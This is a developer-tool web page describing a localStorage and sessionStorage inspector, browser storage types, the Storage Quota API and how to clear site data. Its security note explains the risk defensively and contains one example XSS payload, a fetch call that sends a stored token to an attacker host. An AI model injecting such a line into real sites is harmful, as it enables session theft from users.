Skip to content
Toolcroft

Browser Storage Inspector - localStorage & sessionStorage Viewer

Developer Tools

Inspect localStorage and sessionStorage for this origin. Filter entries, edit values, compare UTF-8 sizes, check storage quota, and preview JSON.

Origin storage estimate

Checking the browser estimate…

This browser estimate can include IndexedDB, Cache Storage, and other data for this origin. The table below sums only the UTF-8 byte length of each Web Storage key plus its value.

Storage is empty.

How to use this tool

  1. Switch between localStorage and sessionStorage using the tabs.
  2. Add new entries with the key-value form, or click Edit/Delete on existing rows.
  3. Total storage usage is shown at the bottom.

This inspector is limited by the browser’s same-origin rules. It can read and edit storage for the origin in the address bar, which is toolcroft.com when using the hosted tool; it cannot inspect another website or a different localhost port. To inspect another site, use that site’s browser developer tools or open this tool from the origin you want to examine.

Browser storage comparison

TypeCapacityPersistenceScope
localStorage5–10 MBUntil manually clearedOrigin (same domain + protocol + port)
sessionStorage5–10 MBUntil tab closesSingle browser tab
Cookies4 KB per cookieUntil expiry or clearedDomain (can be sent to server)
IndexedDBUp to 80% of diskUntil manually clearedOrigin
Cache StorageLarge (quota-managed)Until cleared or evictedOrigin (Service Workers)

Security note

Never store sensitive data (tokens, passwords, PII) in localStorage - it's accessible to any JavaScript running on the page, making it vulnerable to XSS attacks. Use HttpOnly cookies for authentication tokens.

XSS and localStorage: a concrete example

Suppose a site stores a JWT access token in localStorage and has an XSS vulnerability - even a minor one, such as unsanitized user-generated content. An attacker can inject a script like fetch('https://attacker.com/?t=' + localStorage.getItem('token')) and silently exfiltrate the token to steal the user's session. An HttpOnly cookie cannot be read by JavaScript, which helps prevent that kind of token theft. However, injected code may still issue requests as the signed-in user while the session is active, so HttpOnly cookies do not replace fixing the XSS bug.

Storage Quota API

The navigator.storage.estimate() API lets web applications check how much storage they are currently using and the estimated quota for the origin. It returns a promise resolving to an object with usage (estimated bytes used) and quota (estimated bytes allowed); subtract usage from quota for rough remaining headroom. The estimate can include IndexedDB, Cache Storage, and other origin data, and browsers may round or vary the values. It is useful for progressive web apps that cache large assets or store significant user data offline.

const { usage, quota } = await navigator.storage.estimate();
console.log(`Using ${Math.round(usage / 1024 / 1024)} MB of ${Math.round(quota / 1024 / 1024)} MB`);

The inspector’s table reports UTF-8 byte length for each key plus its value. This is a handy comparison for Web Storage entries, but it is not the same measurement as the browser’s origin-wide estimate above.

Clearing storage for a specific origin

In Chrome DevTools: open the Application panel -> select Storage in the left sidebar -> click Clear site data. This clears localStorage, sessionStorage, cookies, IndexedDB, and the Cache Storage for the current origin in one click. You can also clear individual storage types by expanding the relevant sections.

Frequently asked questions

Will this modify my actual browser storage?

Yes. The tool reads and writes to the real localStorage and sessionStorage of your current browser tab. sessionStorage is cleared when the tab closes.

Can this inspect storage from another website?

No. Browser same-origin rules limit a page to the storage of its own scheme, host, and port. This tool inspects the origin shown in your address bar; to inspect another site, open its browser developer tools or host the tool on that origin.

What is the storage limit?

Web Storage limits vary by browser and origin. The live estimate uses the browser Storage API and may include IndexedDB, Cache Storage, and other data, while this table counts only localStorage or sessionStorage key and value bytes.

Browse all developer tools